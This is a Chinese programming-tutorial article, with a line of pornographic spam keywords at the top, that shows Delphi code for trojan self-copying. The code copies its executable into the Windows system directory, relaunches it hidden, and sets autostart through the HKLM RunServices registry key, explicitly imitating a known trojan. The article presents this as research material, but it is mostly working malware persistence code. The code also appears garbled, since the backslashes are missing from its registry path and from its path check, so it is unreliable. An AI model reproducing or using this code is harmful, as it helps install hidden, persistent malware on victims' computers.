欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Delphi實(shí)現(xiàn)木馬自我拷貝方法

 更新時(shí)間:2014年07月25日 11:45:33   投稿:shichen2014  
這篇文章主要介紹了Delphi實(shí)現(xiàn)木馬自我拷貝方法,對(duì)于研究木馬的運(yùn)行原理很有幫助,需要的朋友可以參考下

木馬實(shí)現(xiàn)自我拷貝的原理是程序運(yùn)行時(shí)先查看自己是不是在特定目錄下,如果是就繼續(xù)運(yùn)行,如果不是就把自己拷貝到特定目錄下,然后運(yùn)行新程序,繼而退出舊程序.
本例即以Delphi實(shí)現(xiàn)木馬的自我拷貝。
首先打開(kāi)Delphi,新建一個(gè)工程,在窗口的Create事件中寫(xiě)入如下代碼:

procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //獲得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{將自己拷貝到WindowsSystem下}
Winexec(pchar(GetWindir + myname), sw_hide);//運(yùn)行WindowsSystem下的新文件
application.Terminate;//退出
end;
end;

其中GetWinDir是自定義函數(shù),起功能是找出WindowsSystem的路徑.

function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'' then Result := Result + '';
end; 

如何能使程序能在windows啟動(dòng)時(shí)自動(dòng)啟動(dòng)?
 
為了程序能在Windows每次啟動(dòng)時(shí)自動(dòng)運(yùn)行,可以通過(guò)以下途徑來(lái)實(shí)現(xiàn).“冰河”用注冊(cè)表的方式。
加入Registry單元,改寫(xiě)上面的窗口Create事件,改寫(xiě)后的程序如下:

procedure TForm1.FormCreate(Sender: TObject);
const K = 'SoftwareMicrosoftWindowsCurrentVersionRunServices';
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //獲得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//將自己拷貝到Windows/System32下}
Winexec(pchar(GetWindir + myname), sw_hide);//運(yùn)行WindowsSystem下的新文件
application.Terminate;//退出
end;
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 'syspler', application.ExeName );
finally
free;
end;
end; 

相關(guān)文章

最新評(píng)論